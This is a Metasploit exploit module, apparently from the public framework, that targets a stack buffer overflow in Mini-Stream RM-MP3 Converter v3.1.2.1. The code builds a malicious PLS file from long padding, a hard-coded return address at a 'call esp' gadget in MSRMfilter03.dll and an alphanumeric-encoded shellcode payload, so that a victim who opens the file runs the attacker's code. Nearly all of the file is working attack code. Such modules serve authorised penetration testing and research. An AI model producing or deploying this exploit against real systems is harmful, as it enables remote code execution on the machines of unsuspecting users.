##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mini-Stream RM-MP3 Converter v3.1.2.1 PLS File Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3
        Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim
        opens the malicious PLS file.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Madjix',           # original discovery
          'Tiago Henriques',  # metasploit module
          'James Fitts <fitts.james[at]gmail.com>'  # clean ups
        ],
      'References'     =>
        [
          [ 'OSVDB', '78078' ],
          [ 'EDB', '14373' ],
          [ 'BID', '34514' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space' => 1500,
          'BadChars' => "\x00\x09\x0a",
          'DisableNops' => 'True',
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
            },
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [
            'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30',
            {
              'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll
              'Offset' => 17417
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 16 2010',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
        ], self.class)
  end

  def exploit

    pls =  "http://"
    pls << rand_text_alpha_upper(target['Offset'])
    pls << [target.ret].pack('V')
    pls << rand_text_alpha_upper(8)
    pls << payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(pls)

  end

end
